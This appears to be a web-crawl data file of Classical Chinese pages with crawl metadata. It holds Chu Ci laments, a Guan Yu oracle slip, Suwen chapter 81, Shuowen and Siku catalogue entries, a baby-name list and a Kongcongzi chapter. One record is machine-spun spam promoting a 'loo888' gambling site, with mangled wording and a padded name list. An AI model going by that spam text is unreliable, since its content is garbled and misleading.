。願寄言於三鳥兮,去飄疾而不可得。\n欲遷志而改操兮,心紛結其未離。外彷徨而游覽兮,內惻隱而含哀。聊須臾以時忘兮,心漸漸其煩錯。願假簧以舒憂兮,志紆鬱其難釋。歎《離騷》以揚意兮,猶未殫於《九章》。長噓吸以於悒兮,涕橫集而成行。傷明珠之赴泥兮,魚眼璣之堅藏。同駑鸁與椉駔兮,雜班駮與闒茸。葛藟虆於桂樹兮,鴟鴞集於木蘭。偓促談於廊廟兮,律魁放乎山間。惡虞氏之簫韶兮,好遺風之激楚。潛周鼎於江淮兮,爨土鬵於中宇。且人心之持舊兮,而不可保長。邅彼南道兮,征夫宵行。思念郢路兮,還顧睠睠。涕流交集兮,泣下漣漣。\n歎曰:登山長望中心悲兮。菀彼青青泣如頹兮。留思北顧涕漸漸兮。折銳摧矜凝氾濫兮。念我煢煢䰟誰求兮?僕夫慌悴散若流兮。\n愍命\n昔皇考之嘉志兮,喜登能而亮賢。情純潔而罔薉兮,姿盛質而無愆。放佞人與諂諛兮,斥讒夫與便嬖。親忠正之悃誠兮,招貞良與明智。心溶溶其不可量兮,情澹澹其若淵。回邪辟而不能入兮,誠願藏而不可遷。逐下祑於後堂兮,迎虙妃於伊雒。刜讒賊於中廇兮,選呂管於榛薄。叢林之下無怨士兮,江河之畔無隱夫。三苗之徒以放逐兮,伊皋之倫以充廬。\n今反表以為裏兮,顛裳以為衣。戚宋萬於兩楹兮,廢周邵於遐夷。卻騏驥以轉運兮,騰驢鸁以馳逐。蔡女黜而出帷兮,戎婦入而綵繡服。慶忌囚於阱室兮,陳不占戰而赴圍。破伯牙之號鍾兮,挾人箏而彈緯。藏瑉石於金匱兮,捐赤瑾於中庭。韓信蒙於介冑兮,行夫將而攻城。莞芎棄於澤洲兮,瓟瓥蠹於筐簏。麒麟奔於九皋兮,熊羆群而逸囿。折芳枝與瓊華兮,樹枳棘與薪柴。掘荃蕙與射干兮,耘藜藿與蘘荷。惜今世其何殊兮,遠近思而不同。或沈淪其無所達兮,或清激其無所通。哀余生之不當兮,獨蒙毒而逢尤。雖謇謇以申志兮,君乖差而屏之。誠惜芳之菲菲兮,反以茲為腐也。懷椒聊之蔎蔎兮,乃逢紛以罹詬也。\n歎曰:嘉皇既歿終不返兮,山中幽險郢路遠兮。讒人諓諓孰可愬兮。征夫罔極誰可語兮。行吟累欷聲喟喟兮。懷憂含戚何侘傺兮。\n思古\n冥冥深林兮樹木鬱鬱。山參差以嶃巖兮,阜杳杳以蔽日。悲余心之悁悁兮,目眇眇而遺泣。風騷屑以搖木兮,雲吸吸以湫戾。悲余生之無歡兮,愁倥偬於山陸。旦徘徊於長阪兮,夕仿偟而獨宿。髮披披以鬤鬤兮,躬劬勞而瘏悴。䰟俇俇而南行兮,泣霑襟而濡袂。心嬋媛而無告兮,口噤閉而不言。違郢都之舊閭兮,回湘沅而遠遷。念余邦之橫陷兮,宗鬼神之無次。閔先嗣之中絕兮,心惶惑而自悲。聊浮游於山陿兮,步周流於江畔。臨深水而長嘯兮,且倘佯而氾觀。\n興《離騷》之微文兮,冀靈修之壹悟。還余車於南郢兮,復往軌於初古。道修遠其難遷兮,傷余心之不能已。背三五之典刑兮,絕《洪範》之辟紀。播規榘以背度兮,錯權衡而任意。操繩墨而放棄兮,傾容幸而侍側。甘棠枯於豐草兮,藜棘樹於中庭。西施斥於北宮兮,仳倠倚於彌楹。烏獲戚而驂乘兮,燕公操於馬圉。蒯瞶登於清府兮,咎繇棄而在壄。蓋見茲以永歎兮,欲登階而狐疑。椉白水而高騖兮,因徙弛而長辭。\n歎曰:倘佯壚阪沼水深兮。容與漢渚涕淫淫兮。鍾牙已死誰為聲兮?纖阿不御焉舒情兮?曾哀悽欷心離離兮。還顧高丘泣如灑兮。\n遠游\n悲余性之不可改兮,屢懲艾而不迻。服覺皓以殊俗兮,貌揭揭以巍巍。譬若王僑之乘雲兮,載赤霄而淩太清。欲與天地參壽兮,與日月而比榮。登崑崙而北首兮,悉靈圉而來謁。選鬼神於太陰兮,登閶闔於玄闕。回朕車俾西引兮,褰虹旗於玉門。馳六龍於三危兮,朝西靈於九濱。結余軫於西山兮,橫飛谷以南征。絕都廣以直指兮,歷祝融於朱冥。枉玉衡於炎火兮,委兩館于咸唐。貫澒濛以東朅兮,維六龍於扶桑。\n周流覽於四海兮,志升降以高馳。徵九神於回極兮,建虹采以招指。駕鸞鳳以上游兮,從玄鶴與鷦明。孔鳥飛而送迎兮,騰群鶴於瑤光。排帝宮與羅囿兮,升縣圃以眩滅。結瓊枝以雜佩兮,立長庚以繼日。淩驚靁以軼駭電兮,綴鬼谷於北辰。鞭風伯使先驅兮,囚靈玄於虞淵。遡高風以低佪兮,覽周流於朔方。就顓頊而敶辭兮,考玄冥於空桑。旋車逝於崇山兮,奏虞舜於蒼梧。㴉楊舟於會稽兮,就申胥於五湖。見南郢之流風兮,殞余躬於沅湘。望舊邦之黯黮兮,時溷濁其猶未央。懷蘭茞之芬芳兮,妬被離而折之。張絳帷以襜襜兮,風邑邑而蔽之。日暾暾其西舍兮,陽焱焱而復顧。聊假日以須臾兮,何騷騷而自故。\n歎曰:譬彼蛟龍乘雲浮兮。汎淫澒溶紛若霧兮。潺湲轇轕雷動電發馺高舉兮。升虛淩冥沛濁浮清入帝宮兮。搖翹奮羽馳風騁雨游無窮兮。","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/xn--5rtnx620bw5s.tw\/i\/i01\/16.htm","date":"2018-03-19T18:42:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647044.86\/warc\/CC-MAIN-20180319175337-20180319195337-00558.warc.gz","language":"lzh","language_score":0.4639331102,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.4639331102371216, \"nan_Hani_score\": 0.08335715532302856, \"zxx_Latn_score\": 0.07188605517148972, \"cmn_Hani_score\": 0.04371396824717522, \"und_Tang_score\": 0.03178275749087334, \"und_Yiii_score\": 0.01583828404545784, \"und_Xsux_score\": 0.014181939885020256, \"und_Hluw_score\": 0.013563335873186588, \"und_Vaii_score\": 0.01319686509668827, \"und_Nshu_score\": 0.012509695254266262, \"yue_Hani_score\": 0.011928572319447994, \"und_Cans_score\": 0.01144792977720499, \"und_Cyrl_score\": 0.011188728734850883}","num_words":39,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.28,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第六十四籤\n上上 管鮑分金\n吉人相遇本和同。況有持謀天水翁。仙機:\n人力不勞公論協。事成功倍笑談中。\n貴遇趙。訟即了。名能成。病可療。\n財有餘。婚亦好。問信音。即刻到。\n能■亦\n功名:前輩效益 句句言中 貴人扶之 終可題榜\n六甲:平素之修 身心健全 今有享之 可生貴子\n求財:無所欲為 押之得之 時運屆至 宜儲蓄之\n婚姻:天作之合 必有好果 地連理枝 天比翼鳥\n晨牧:兩者皆豐 成績突出 出乎意外 是君修來\n失物:一時不慎 置於東方 速尋去也 保全回也\n生意:吸四方財 此時正當 惟不可貪 方能保住\n丁口:年年添丁 世人訝之 爾修者也 珍惜此福\n出行:即可出也 唯途中耶 宜自小心 以防世景\n疾病:雖是惡疾 幸賴新技 一針定奪 留得三叩\n官司:以天理行 上蒼安排 不必畏懼 退之心安\n時運:居最高峰 唯惜福也 得意忘形 戒之記之\n解說及記載:\n言功名謀為。凡遇趙胡二姓者。為協力。\n贊攘則意氣和合。事無不成功。無不就。\n不勞一毫心力。只恐談笑中三字。主事有阻滯。\n中道而止。半途而廢也。俱宜謹言慎行。\n吉旡不利。天水不止。姓趙凡郡中有天水者皆是。\n■管鮑分金\n春秋。管仲與鮑叔未仕時。同為賈。分金仲多自與鮑叔。\n知其貧不以為貧。後鮑叔為齊桓公大夫。竟薦仲為齊相。\n佐桓公。尊周攘夷霸諸侯一匡天下。\n管仲嘗曰。生我者父母。知我者鮑叔也。\n返回求籤首頁","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/andy.hk\/divine\/emperorguan\/64","date":"2018-11-19T20:42:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746110.52\/warc\/CC-MAIN-20181119192035-20181119214035-00441.warc.gz","language":"lzh","language_score":0.5377154946,"language_script":"Hani","minhash_cluster_size":18,"top_langs":"{\"lzh_Hani_score\": 0.537715494632721, \"cmn_Hani_score\": 0.31104743480682373, \"nan_Hani_score\": 0.09688790142536163, \"yue_Hani_score\": 0.03434072807431221, \"jpn_Jpan_score\": 0.012302590534090996}","num_words":67,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.525,"perplexity_score":500.0,"cluster_detection":1} +{"text":"俄超有什么球队:学校有超过4万名毕业生-王芮加\n校友收集遍布环球120个邦度。学校7个学术院系的教职职员由200众名常任教育组成。学校有突出4万名卒业生,loo888官方网站王蓓郝 王治郝 王有郝 王会郝 王水郝 王璐郝 王颖郝 王弋郝 王霞郝 王博郝 王玥郝 王又郝 王千郝 王莎郝 王瑶郝 王毓郝 王亭郝 王函郝 王春郝 王启郝 王冰郝 王浩郝 王玫郝 王汝郝 王琼郝 王果郝 王晶郝 王溪郝 王棠郝 王波郝 王诗郝 王秋郝 王林郝 王灿郝 王爽郝 王英郝 王津郝 王芮郝 王寒郝 王茹郝 王熙郝 王芳郝 王乐郝 王清郝 王育郝 王成郝 王宁郝 王忻郝 王筑郝 王悠郝 王士郝 王俐郝 王佩郝 王肖郝 王沅郝 王红郝 王碧郝 王君郝 王荣郝 王艳郝 王然郝 王斐郝 王思郝 王德郝 王瑷郝 王修郝 王语郝 王琴郝 王和郝 王露郝 王双郝 王曼郝 王轶郝 王彩郝 王梓郝 王玮郝 王茜郝 王美郝 王珈郝 王楠郝 王珏郝 王胜郝 王添郝 王妤郝 王以郝 王斯郝 王柳郝 王长郝 王汇郝 王娅郝 王丹郝 王爱郝 王健郝 王孜郝 王云郝 王懿郝 王雅郝 王瑞郝 王筠郝 王智郝 王若郝 王培郝 王涛郝 王微郝 王可郝 王冬郝 王紫郝 王菁郝 王贞郝 王安郝 王阳郝 王彦郝 王玺郝 王淑郝 王永郝 王琬郝 王淇郝 王昭郝 王华郝 王其郝诺欧商学院(NEOMA Business School)其总部位于法邦鲁昂。新学校的巴黎校区、兰斯校区、鲁昂校区三个校区协同供应一套从学士项目到高级治理类项宗旨教学实质!","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.54hulan.com\/loo888guanfangwangzhan\/361.html","date":"2018-11-17T17:48:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743717.31\/warc\/CC-MAIN-20181117164722-20181117190722-00491.warc.gz","language":"lzh","language_score":0.7564767599,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7564767599105835, \"cmn_Hani_score\": 0.23004616796970367, \"nan_Hani_score\": 0.012636013329029083}","num_words":123,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.799,"perplexity_score":500.0,"cluster_detection":1} +{"text":"素問・81解精微論\n黄帝在明堂。雷公請曰、臣授業伝之、行教以経論。従容形法、陰陽刺灸、湯薬所滋。行治有賢不肖、未必能十全。若先言悲哀喜怒、燥湿寒暑、陰陽婦女、請問其所以然者、卑賎富貴、人之形体所従、群下通使、臨事以適道術、謹聞命矣。請問有毚愚仆漏之問、不在経者。欲聞其状。帝曰、大矣。\n公請問。哭泣而涙不出者、若出而少涕、其故何也。帝曰、在経有也。復問。不知水所従生、涕所従出也。帝曰、若問此者、無益于治也。工之所知、道之所生也。夫心者五蔵之専精也。目者其竅也。華色者其栄也。是以人有徳也、則気和于目、有亡、憂知於色。是以悲哀則泣下、泣下水所由生。水宗者、積水也。積水者、至陰也。至陰者、腎之精也。宗精之水、所以不出者、是精持之也、輔之、裹之。故水不行也。夫水之精為志、火之精為神。水火相感、神志倶悲。是以目之水生也。故諺言曰、心悲名曰志悲。志与心精共湊於目也。是以倶悲、則神気伝於心精、上不伝於志、而志独悲。故泣出也。泣涕者、脳也。脳者陰也。髄者骨之充也。故脳滲為涕。志者骨之主也。是以水流而涕従之者、其行類也。夫涕之与泣者、譬如人之兄弟、急則倶死、生則倶生。其志以早悲。是以涕泣倶出而横行也。夫人涕泣倶出而相従者、所属之類也。雷公曰、大矣。\n請問。人哭泣而涙不出者、若出而少、涕不従之、何也。帝曰、夫泣不出者、哭不悲也。不泣者、神不慈也。神不慈則志不悲。陰陽相持、泣安能独来。夫志悲者惋。惋則沖陰。沖陰則志去目、志去則神不守精。精神去目、涕泣出也。且子独不誦不念夫経言乎。厥則目無所見。夫人厥則陽気并於上、陰気并于下。陽并於上、則火独光也。陰并於下、則足寒。足寒則脹也。夫一水不勝五火。故目眥盲。是以衝風泣下而不止、夫風之中目也、陽気内守于精、是火気燔目。故見風則泣下也。有以比之。夫火疾風生乃能雨、此之類也。","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/www.yakuzenjoho.net\/data\/somon\/81kaiseibiron.html","date":"2018-11-18T17:15:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744513.64\/warc\/CC-MAIN-20181118155835-20181118181835-00453.warc.gz","language":"lzh","language_score":0.6997407675,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6997407674789429, \"cmn_Hani_score\": 0.09618421643972397, \"jpn_Jpan_score\": 0.07116620987653732, \"nan_Hani_score\": 0.02231665886938572, \"zxx_Latn_score\": 0.015534470789134502, \"wuu_Hani_score\": 0.013586088083684444}","num_words":4,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.7,"perplexity_score":500.0,"cluster_detection":1} +{"text":"歸也。曡韵爲訓。从反身。此如反人爲匕、反从爲比。於機切。十五部。凡㐆之屬皆从㐆。\n作樂之盛偁殷。此殷之本義也。如易豫象傳是。引伸之爲凡盛之偁。又引伸之爲大也。又引伸之爲衆也。又引伸之爲正也、中也。从㐆殳。依廣韵訂。樂者、樂其所自成。故从㐆。殳者、干戚之類。所以舞也。不入殳部者、義主於㐆也。於身切。古音十三部。廣韵於斤切是也。易曰。殷薦之上帝。豫象傳曰。雷出地奮豫。先王以作樂崇德。殷薦之上帝。以配祖𦒱。鄭注。王者功成作樂。以文得之者作籥舞。以武得之者作萬舞。各充其德而爲制。祀天地以配祖𦒱者。使與天同饗其功也。","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/ccamc.co\/cjkv_shuowen.php?juan=%E5%8D%B7%E5%85%AB&bushou=%E3%90%86%E9%83%A8","date":"2019-02-23T21:55:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249550830.96\/warc\/CC-MAIN-20190223203317-20190223225317-00462.warc.gz","language":"lzh","language_score":0.4465031326,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.4465031325817108, \"cmn_Hani_score\": 0.2481355518102646, \"wuu_Hani_score\": 0.05923435091972351, \"jpn_Jpan_score\": 0.05759446322917938, \"nan_Hani_score\": 0.03066614456474781, \"zxx_Latn_score\": 0.01819826103746891, \"und_Tang_score\": 0.01385321095585823, \"yue_Hani_score\": 0.011502823792397976}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.447,"perplexity_score":500.0,"cluster_detection":1} +{"text":"國朝沈光邦撰。光邦臨海人。雍正中。官中書舍人。易道陰陽。律呂亦本陰陽。易爲天地自然之數。律呂亦本天地自然之數。故推而衍之。其理可以相通。然易不爲律作。律亦不爲易作。無容牽合而一之也。是書引律以合易。以天地五十有五之數。畫爲三角圖。與算家開方廉率立成之法相類。所用過揲之數。以九八不以九六。策數以五十五。不以五十。於律義頗多牴牾。至律管不用圍徑。又於十二律之外。增小呂含少二律於無射之後。亦自我作古也。","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0082802.html","date":"2019-04-18T14:18:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578517682.16\/warc\/CC-MAIN-20190418141430-20190418163430-00348.warc.gz","language":"lzh","language_score":0.4202215075,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.4202215075492859, \"cmn_Hani_score\": 0.3772416412830353, \"yue_Hani_score\": 0.044514719396829605, \"jpn_Jpan_score\": 0.03948301449418068, \"wuu_Hani_score\": 0.01980276219546795, \"zxx_Latn_score\": 0.014009919948875904, \"nan_Hani_score\": 0.013942243531346321}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n薛刘妍 薛远萍 薛婕英 薛茵文 薛惠艳 薛宝霞 薛怀丽 薛倩涵 薛广美 薛紫玲 薛若妍 薛尚洁 薛爱莹 薛艾瑛 薛朝文 薛沛文 薛生娥 薛东娥 薛伟娜 薛家燕 薛佩燕 薛艾琳 薛建梅 薛月琼 薛秀芬 薛龙妹 薛双红 薛莉蓉 薛斐瑛 薛宇文 薛佩文 薛杉玲 薛彬玲 薛柃玲 薛松玲 薛梦玲 薛林玲 薛琳艳 薛梁玲 薛木玲 薛林芳 薛玲泰 薛泰玲 薛德玲 薛德琳 薛琳芳 薛加玉 薛思玲 薛春娟 薛剑文 薛彗怡 薛骅怡 薛欢怡 薛妍依 薛怡咏 薛怡汶 薛芯怡 薛昕怡 薛歆怡 薛居琳 薛皑英 薛卉娟 薛琳睿 薛长娟 薛丽婷 薛咏文 薛奎芳 薛婕蓉 薛珏蓉 薛钰蓉 薛舒蓉 薛峥蓉 薛铮蓉 薛湫蓉 薛懿雪 薛茹雪 薛旭娟 薛静娟 薛钦文 薛湘文 薛湄文 薛梅芬 薛白雪 薛业玲 薛俊娜 薛泉红 薛国萍 薛少燕 薛博芳 薛博倩 薛博洁 薛依文 薛博妍 薛妹英 薛元媛 薛亚芳 薛秀文 薛怡辰 薛朱玲 薛渝琴 薛金芳 薛旭萍 薛芬妃 薛燕芸 薛柳丽 薛悦迁 薛站丽 薛宏悦 薛梦悦 薛兰婷 薛兆美 薛伯文 薛亚文 薛子倩 薛子悦 薛秀薇 薛琳珑 薛琳龙 薛志英 薛静梅 薛琳胧 薛馨梅 薛北美 薛斐冉 薛敬萍 薛晶萍 薛静萍 薛水萍 薛希梅 薛怡航 薛美娅 薛明美 薛小冉 薛明冉 薛梦冉 薛明文 薛茗娟 薛怡可 薛秀玉 薛楚悦 薛想悦 薛靖悦 薛飞英 薛鑫悦 薛新悦 薛德燕 薛莉然 薛荟倩 薛矜霞 薛近霞 薛缙霞 薛静霞 薛晋霞 薛曼婷 薛雅娜 薛志美 薛如梅 薛庭芳 薛玫丽 薛喧洁 薛婷龄 薛睿婧 薛娉婧 薛子媛 薛旭媛 薛贤娜 薛碧芳 薛紫琼 薛彩娥 薛瑞美 薛贵莉 薛歌倩 薛安倩 薛麦玲 薛婧婷 薛莹霏 薛皓玉 薛婧瑶 薛行文 薛军芳 薛秋艳 薛子琳 薛喻婷 薛梦霞 薛秀嫣 薛佚嫣 薛秀嫣 薛妤嫣 薛梦嫣 薛紫嫣 薛琳卓 薛铃悦 薛铃婷 薛铃妍 薛锦倩 薛锦文 薛素霞 薛江花 薛鑫燕 薛瑞琳 薛简文 薛豪文 薛满红 薛栖文 薛转英 薛相萍 薛兰霞 薛昌文 薛亮玉 薛斐洁 薛怡涛 薛含玉 薛君梅 薛妍秀 薛秀妍 薛妤倩 薛梓婧 薛巧燕 薛琳淇 薛媛琦 薛璎丽 薛婧娴 薛梦倩 薛钰倩 薛依倩 薛绪霞 薛欣秀 薛媛滢 薛怡萱 薛怡轩 薛加琳 薛芬菲 薛凤艳 薛婧文 薛蓉花 薛花莹 薛芷颖 薛时芬 薛芷嫣 薛倩然 薛厶美 薛凤茹 薛易琴 薛泓美 薛琳丹 薛昌莹 薛玉红 薛李丽 薛良艳 薛江红 薛俭丽 薛宗英 薛少琳 薛翕婧 薛宪瑛 薛怡飞 薛玉蓉 薛芊霞 薛筱霞 薛绣霞 薛凡琳 薛含嫣 薛笑嫣 薛秋玲 薛岫霞 薛懿艳 薛闻婷 薛霞飞 薛祖颖 薛雨悦 薛欣萍 薛晓花 薛芳怡 薛怡斐 薛怡蒙 薛怡晨 薛恺文 薛敬美 薛佳玉 薛焯文 薛赵悦 薛如花 薛曼嫣 薛薇嫣 薛嫣妮 薛筱嫣 薛宇嫣 薛茹元 薛坤萍 薛瑛科 薛喜瑛 薛以嫣 薛孜嫣 薛云嫣 薛语嫣 薛芸芳 薛玉花 薛来英","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/www.cc681.cn\/show_A40.aspx","date":"2019-07-22T08:40:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527828.69\/warc\/CC-MAIN-20190722072309-20190722094309-00416.warc.gz","language":"lzh","language_score":0.7975794673,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7975794672966003, \"cmn_Hani_score\": 0.11622396111488342, \"wuu_Hani_score\": 0.05778883025050163, \"nan_Hani_score\": 0.021285755559802055}","num_words":299,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.794,"perplexity_score":500.0,"cluster_detection":1} +{"text":"魏王遣使者奉黄金束帛聘子顺為相。孔武后名■字子顺子高之子也子顺谓使者曰、若王信能用吾道。吾道固為治世也。虽疏食饮水。吾犹為之。若徒欲制服吾身。委以重禄。吾犹一夫尔。则魏王不少於一夫。子度魏王之心以告我。使者曰魏国狭校乏於圣贤。寡君久闻下风。愿委国先生。亲受教训。如肯降节。岂惟魏国君臣是赖。其亦社稷之神祗实永受庆。於是乃之魏。魏王郊迎。谓子顺曰寡人不肖。嗣先君之业。先生圣人之后。道德懿邵。幸见顾临。愿图国政。对曰臣羈旅之臣。慕君高义。是以戾此君辱貺而问以政事。敢不敬受君之明命。\n魏王朝群臣、问理国之所先、季文对曰唯在知人。王未之应。子顺进曰、知人则哲。帝尧所玻故四凶在朝。鯀任无功。夫岂乐然哉。人难知故也。今文之对。不称吾君之所能行。而乃欲强吾君以圣人所难。此不可行之说也。王曰先生言之。对曰当今所急。在修仁尚义崇德敦礼以接邻国而巳。昔舜命眾官。群臣竞让德。礼之致也。茍使朝臣皆有推贤之心。主虽不知人。则臣位必当。若皆以知人為治。则人主宜未过尧。且其目所不见者亦必漏矣。王曰善矣。秦王得西戎利刀以之割玉如割木焉、以示东方诸侯、魏王问子顺曰、古亦有之乎、对曰周穆王大征西戎。西戎献錕鋘之剑火浣之布。其剑长尺有咫。鍊钢赤剑用之切玉如泥焉。是则古亦有焉。王曰火浣之布若何。对曰周书火浣布垢必投诸火。布则火色。垢乃灰色。出火振之皜然。疑乎雪焉。王曰今何以独无。对曰秦贪而多求。求欲无厌。是故西戎闭而不致。此以素防绝之也。然则人主贪欲。乃异物所以不至。不可不慎也。\n魏王曰吾闻道士登华山、则长生不死、意亦愿之、对曰古无是道。非所愿也。王曰吾闻信之、对曰未审君之所闻。亲闻之於不死者耶。闻之於传闻者耶。君闻之於传闻者妄也。若闻之於不死者今安在。在者君学之勿疑。不在者君勿学无疑。\n李由之母少寡、与李音窃相好而生由、由有才艺、仕於魏、王甚爱之、或曰李由母姦不知其父、不足贵也、王以告由、且曰吾不以此贱子也、虽然古之圣贤亦有似子者乎、吾将举以拆毁子者、李由对曰今人不通於远、在臣欲言谁耳、且孔子少孤、则亦不知其父者也、孔子母死、殯於五父之衢、人见之皆以為孤葬、问鄹曼父之母、得合葬於防、此则圣人与臣同者也、王笑曰善、子顺闻之、问魏王曰、李由安得斯言、王曰假以自显、无伤也、对曰虚造谤言以诬圣人。非无伤也。且夫明主之於臣。唯德所在不以小疵妨大行也。昔斗子文生於淫而不害其為令尹。今李由可则宠之。何患於人之言而使横生不然之说。若欺有知。则有知不受。若欺凡人。则凡人无知。必亦问臣。则臣亦不為君之故。诬祖以显由也。如此群臣更知由恶此必聚矣。所谓求白洁而益其垢。犹抱石以救溺。愈不济矣。魏王使相国脩好邻国、遂连和於赵、赵王既宾之、而燕问子顺曰今寡人欲求北狄、不知其所以然、答曰诱之以其所利而与之通市。则自至矣。王曰寡人欲因而弱之。若与交市分我国货散於夷狄。是彊之也。可乎。答曰夫与之市者。将以我无用之货取其有用之物。是故所以弱之之术也。王曰何谓我之无用。彼之有用。答曰衣服之物则有珠玉五綵。饮食之物则有酒醪五熟。五味也此即我之所有而彼之所利者也。夷狄之货。唯牛马旃裘弓矢之器。是其所饶而轻以与人者也。以吾所有。易彼所饶。如斯不巳。则夷狄之用将麋於衣食矣。殆可举棰而驱之。岂徒弱之而巳乎。赵王曰敬受教。\n枚產魏人问子顺曰臣匱於财闻猗顿善殖货欲学之、然先生同国也、当知其术、愿以告我、答曰然。知之。猗顿鲁之穷士也。耕则常飢。桑则常寒。闻陶朱公富。往而问术焉。朱公告之。曰子欲速富。当畜五■。於是乃适西河。大畜牛羊於猗氏之南。十年之间。其滋息不可计。貲拟王公。驰名天下。以兴富於猗氏故曰猗顿且夫為富者非唯一术。今子徒问猗顿何也。枚產曰亦将问之於先生也。答曰吾贫而子问以富术。纵有其术。是不可用之术也。昔人有言能得长生者。道士闻而欲学之。比往言者死矣。道士高蹈而恨。夫所欲学。学不死也。其人巳死而犹恨之。是不知所以為学也。今子欲求殖货而问术於我。我且自贫。安能教子以富乎。子之此问。有似道士之学不死者也。\n东里閭魏人空腹而好自贤、欲自亲於子顺、子顺不下、或曰夫君子之交於世士、亦取其一节而巳、东閭子疏达亮直、大丈夫也、求為先生役、而先生无意接之、斯者无乃非周公之交人乎。子顺曰、此吾所以行周公之行也。夫东閭子外质顽拙。有似疏直。然内怀容媚■魅。非大丈夫之节也。若其度骸称肤。面目鬢眉。实美於人。圣人论士。不以為贵者。无益於德故也。然东閭子中不应外。侮慢世士。即所谓愚人而谓人為愚者也。持其虚状以不德於人。此乃周公之所罪。何交之有。\n宫他魏人见子顺曰、他困贫贱、将欲自託富贵之门、庶克免乎、子顺曰夫富而可以託贫。贵而可以寄贱者。天下寡矣。非信义君子明识穷达则不可今子所欲託者谁也。宫他曰将适赵公子、子顺曰非其人矣。虽好养士。自奉而巳。终弗能称也。宫他曰将适燕相国、子顺曰彼徒兄弟甥舅各济其私。无求贤之志。不足归也。宫他曰将适齐田氏、子顺曰齐大国也。其士大夫皆有自多之心。不能容子也。他曰然则何向而可。子顺曰吾勿识也。宫他曰唯先生知人。愿告所择。将往庇焉。子顺曰济子之欲。则宜若郈成子者也。昔郈成子自鲁聘晋过乎卫。右宰穀臣止而觴之。陈乐而不作。送以实璧。反过而不辞。其僕曰、日者右宰之觴吾子甚欢也。今过而不辞。何也。成子曰夫止而觴我。与我欢也。陈乐而不作。告我哀也。送我以璧。寄之我也。若由此观之。卫其有乱乎。背卫三十里。闻宁喜作难。右宰死之。还车而临。三举而归。反命於君。乃使人迎其妻子。隔宅而居之。分禄而食之。其子长而反其璧。夫子闻之。曰智可与徵谋仁可与託孤廉可以寄财者。其郈成子之谓乎。今子求若人之比庇焉。可也。宫他曰循先生之言。舍先生将安之。请从执事。子顺辞不得巳。乃言之魏王而升诸朝。\n子顺相魏、●嬖宠之官以事贤才。夺无任之禄以赐有功。诸丧职秩者不悦。乃造谤言。文咨魏人以告。且曰夫不害前政而有成。孰与变之而起谤哉。子顺曰民不可与虑始久矣。古之善為政者。其初不能无谤子產相郑。三年而后谤止。吾先君之相鲁。三月而后谤止。今吾為政日新。虽不能及圣贤。庸知谤止独无时乎。文咨曰、子產之谤尝亦闻之。未识先君之谤何也。子顺曰先君初相鲁。鲁人谤诵曰麛裘而芾。投之无戾。芾之麛裘投之无邮。及三年政成化既行。民又作诵曰袞衣章甫。实获我所章甫袞衣。惠我无私。文咨喜曰乃知先生亦不异乎圣贤矣。\n魏王谓子顺曰吾欲致天下之士。奈何。子顺对曰、昔周穆王问祭公谋父、曰吾欲得天下贤才、对曰去其帝王之色。则几乎得贤才矣。今臣亦请君去其尊贵之色而巳。王曰吾欲得无欲之士為臣。何如。子顺曰人之可使以有欲也。故欲多者其所得用亦多。欲少者其所得用亦少。夫夷齐无欲。虽文武不能制。君安得而臣之。","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www.zggdwx.com\/kongcongzi\/14.html","date":"2019-10-21T17:54:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987781397.63\/warc\/CC-MAIN-20191021171509-20191021195009-00225.warc.gz","language":"lzh","language_score":0.4296368957,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4296368956565857, \"cmn_Hani_score\": 0.19189615547657013, \"zxx_Latn_score\": 